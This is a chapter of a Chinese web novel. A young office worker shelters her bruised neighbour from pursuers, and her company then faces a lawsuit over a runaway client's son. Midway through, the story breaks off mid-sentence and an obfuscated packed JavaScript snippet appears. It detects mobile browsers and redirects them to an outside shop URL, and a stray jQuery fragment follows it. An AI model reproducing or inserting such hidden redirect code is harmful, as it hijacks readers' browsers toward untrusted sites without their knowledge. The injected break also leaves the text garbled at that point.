施音花了两天时间将自己手头的工作做完,就加入了陆总说的那个项目。
有了陆总小长假的承诺,大家连工作都有了奔头。
接连几日,她就没在七点之前下过班。前一晚更是熬到了十一点才出公司,回家时小区里已经有不少住户都熄了灯。
楼下已经少见人影,夜色里,她的脚步声变得格外清晰。
影子被傍晚的路灯拉的极长,有一部分已经贴在墙上,晚风徐徐吹过来,施音累极了,竟希望这段回家的路可以再长一点。
这样她就可以晚点到家,晚一会儿洗漱。
走着走着,她似乎听见后面有脚步声。
杂乱、没有章法,貌似还夹杂着一点粗重的呼吸声。
施音背上汗毛一瞬间竖起,莫名想起了之前在电视上看到的尾随新闻。
她一面若无其事走,一面小幅度回头试图看清身后的人,脚步声却越来越近。施音整颗心都提起来,甚至不敢大声呼吸,脚下的步子加快了速度。
眼看着单元门越来越近,紧绷的身体刚刚放松,就感觉到耳边洒下一团热气。她整个人登时僵在原地。
机械地一点点回头,一张带着好几块淤青的脸闯入视线,看清他脸后施音终于松了口气。
”你干嘛?吓死人不偿命啊。”她捋着胸口给自己顺气,顺带白了岂风生一眼。随即,她才猛地反应过来他脸上的伤。
她俩所在的地方刚好是远离路灯的地方,只能透过附近零星还没睡觉亮起的微弱灯光勉强看个轮廓。岂风生下颚紧绷着,身上的白色短袖也模模糊糊看得出沾了不少泥土。
她刚想开口问,就被少年有力的手臂拽进两栋楼之间的一条窄缝里。
后背抵上墙壁,施音的嘴被极快地捂住,瞬间发不出一点声音。
下一秒,不远处再次响起脚步声。
不同的是,这些脚步整齐、规律,像是训练有素的队伍。
施音没忍住透过他肩膀看过去,只见几个身穿黑色作战服的高大男人正在东张西望找着什么。
再看面前捂着她嘴的岂风生,他一样回头盯着那群人的动向。
她有种直觉,这些人是来找他的。
那群人找了一条又一条胡同,手电筒的光越来越刺眼,两人一点声音不敢出,少年的心跳声却仿佛有了回音。
“砰!”
不知道哪儿来的流浪猫踩翻了垃圾桶,声音从她们躲着的窄缝里传遍整个小区。
“有动静!”
一瞬间,那群人都朝着声音方向跑过来。
施音大脑一片空白,短时间内做不出任何反应。
岂风生倒是先反应过来,揽住她腰转了个圈,岂风生背对着她们,下巴搭在了施音的肩膀上。
肩膀上传来温热的触感,她听到那群人的声音越来越清晰,顾不上羞耻,只能祈祷那群人不要看见他们。
时间一分一秒过去,施音闭上眼睛,听天由命。
一声猫叫打断过来人的脚步,刚刚那只猫正巧出去,大概和他们撞了个正着。
她听见其中有人啐了一声:“原来是只猫,浪费时间,走走走。”
“回去交差,明天再说。”
声音渐远,直到确认他们不会再去而复返后,施音才和岂风生不约而同松了口气。
后知后觉地感受到喷洒在耳畔的灼热气息,施音脸颊蓦地红了。
岂风生似乎也意识到不妥,迅速拿下放在她腰上的手,退开到安全距离。
他声音干巴巴的:“抱歉。”
稀奇了,有生之年能听到这位小少爷的道歉。
“……没事。”
施音得空细看他身上的伤,想问一下那些人都是干嘛的,又觉得冒昧便没开口。
“你的伤,不要紧吧?”她问
“不要紧。”
岂风生拇指用力在嘴角碾了一下,离开时指腹沾了一些血。
施音不自觉皱起眉,心头五味杂陈。
这个少年身上仿佛有很多秘密。
两人一起进单元门,上电梯,在各自门口分别前,犹豫了下,丢下一句让他等等就进了自己房间。
岂风生忍着身上的不适,竟真的等在她房门前。他盯着她的门板,嘴角牵起一丝自嘲的弧度。
房门再次打开,出来时,女人手上拿了一瓶酒精和纱布。
“给你。”
施音把那些东西递到他面前。
岂风生怔松,有那么片刻,他感知不到身体的疼痛。
“不用。”他下意识拒绝,转身想回自己房间,却被一股大力拽回,那些药品被强硬塞进他怀里。
“曾经你对我说过的一句话我要送给你。”
施音抱起双臂,学着他之前那样居高临下的姿态,嘴角翘起:“广东的夏天很热,如果伤口不及时处理,会烂的很快。”
岂风生愣在原地,直到施音的房门被带上。
走廊窗户透进来细风,脸上伤口被吹的泛起丝丝缕缕的疼,被他心头什么东西盖过了。
=^..^=
一个星期的时间,她们组终于完成那个方案,同事们都在等着小长假和奖金的到来,第二天施音进公司时却听到客户拒绝付尾款并且起诉她们的消息。
陆总和许经理召开紧急会议讨论这件事的原由,用三个小时来研究解决方案。
这个案子的客户是个有钱人家的小男孩,上高中,正处于叛逆期,父母砸了重金为他举办生日会。之前再三强调希望这场生日会能让她们亲子关系得到缓和。
一个男同事灵机一动出了个主意,做个幻灯片在当天大屏幕上放,把男孩小时候的点点滴滴都放进去,结果当天不知道因为什么男孩当着众多同学和宾客的面把现场所有能砸的东西都砸了。
那一天施音没去,但听回来的同事说当时场面相当混乱,宴会里的人当时抱头鼠窜、尖叫声与玻璃碎裂声充斥了整个花园。
原本只是不爱与他们说话偶尔顶几句嘴的孩子更是在那场生日会后离家出走,他父母将这一切都怪在了公司头上,莫说是不菲的尾款人家都不结了,如今还要摊上官司,那个小男孩已经失踪快二十四小时,至今下落不明。
所有人都不明所以,包括当初接下这个单子的陆总。
后来,陆总托自己的人脉多方旁敲侧击地打听才一点点拼凑出事情的真相。
那家客户是外地人,年轻时刚生下孩子就来深圳打拼,将还不满两岁的男孩丢给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964716|214451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爷爷奶奶照顾,那些年他们很少回家,就连春节他们也是在外地过的。
所幸他们还算幸运,赶上时代的风口扶摇直上,但男孩被接到这里时已经十六岁。他想让从小到大的爷爷奶奶一起过来,奈何老两口年纪大了,老觉得城市憋屈,还不如农村的好。
人是环境的产物,在一种环境的熏陶和耳濡目染下养出来的什么性格是很难改变的,男孩回去后,生活习惯和行为举止都被如今的父母看不惯,揠苗助长式地让男孩快速适应如今身处的环境。
结果适得其反,不但没有让男孩变得更好,反而让他更加叛逆,与父母渐行渐远。
这样的状况持续了两年男孩的父母才明白,眼下他们更堪忧的是亲子关系,而非让他快速成为一个成功企业家父母眼中完美的孩子。
于是,便有了这场生日会。
父母从小到大都不在身边,幻灯片里放的照片还是身边父母看着他弹钢琴的照片,养他长大的爷爷奶奶却没有只言片语,其实代入男孩的视角确实是让人很气愤的事。
先前公司并不了解他们之间的事,好心办了坏事,实话讲是有些无辜的。
但现在事态已经上升到了孩子失踪的地步,这哑巴亏,她们只好咽。
会议结束也没人想到有用的解决方案,陆总带着许经理出去找人牵线跟客户说话,办公室里没了主心骨,一时间都乱了阵脚。
下午四点,策划部接到通知,所有人放下手中工作,想办法找到那位小少爷。
=^..^=
出了公司,施音漫无目的地走在大街上不知道从何找起。她觉得公司简直是在难为人,自己都办不到的事让她们来办。
脑子里一片浑浊,她像一个行尸走肉,走着走着竟回了小区门口。
已经是快四点的时候,温度一点不见下降,树影被拉的极短,往日可以勉强乘凉的地方如今也避无可避,路上只有几个打着阳伞的人来往,施音顶着近四十度的高温坐在小区对面的长椅上,椅面滚烫,隔着衣服也让她拧起了眉。
施音目光漫不经心地扫视着,余光捕捉到身后的小树林里两个看起来十三四岁的孩子在抽烟,身上还穿着校服,脸上带着未退的稚嫩。
她心里在想:这才多大的——
“这才多大的孩子啊,啧啧啧”
一个跟她心声同步的声音响起,施音猝然抬头,岂风生和王浩一前一后从对面走出了小区。
王浩身形晃晃悠悠,嘴上的话却像个年过半百惋惜祖国花朵的老头。
他用胳膊撞了下岂风生:“你看看,这些孩子才多大?也就十三四岁?就逃课出来抽烟,现在的孩子真是一届不如一届。”
岂风生只淡淡看了那几个小孩一眼,并未发表意见。
王浩嘴却没停:“我跟你说,我爸一合作伙伴家孩子就这样,上高中了叛逆期,他爸妈说要给办个生日宴缓和下关系,结果人当场就砸了,不知道躲哪去儿了。”
“跟你有的一拼……”
高中、叛逆期、生日会、离家出走,她大脑迅速捕捉这些词汇,施音眼睛猛地放亮。
反应过来时,她已经大步走上前去迎他们,拉住王浩的胳膊,“你刚刚说的那个小孩,是不是姓杜?”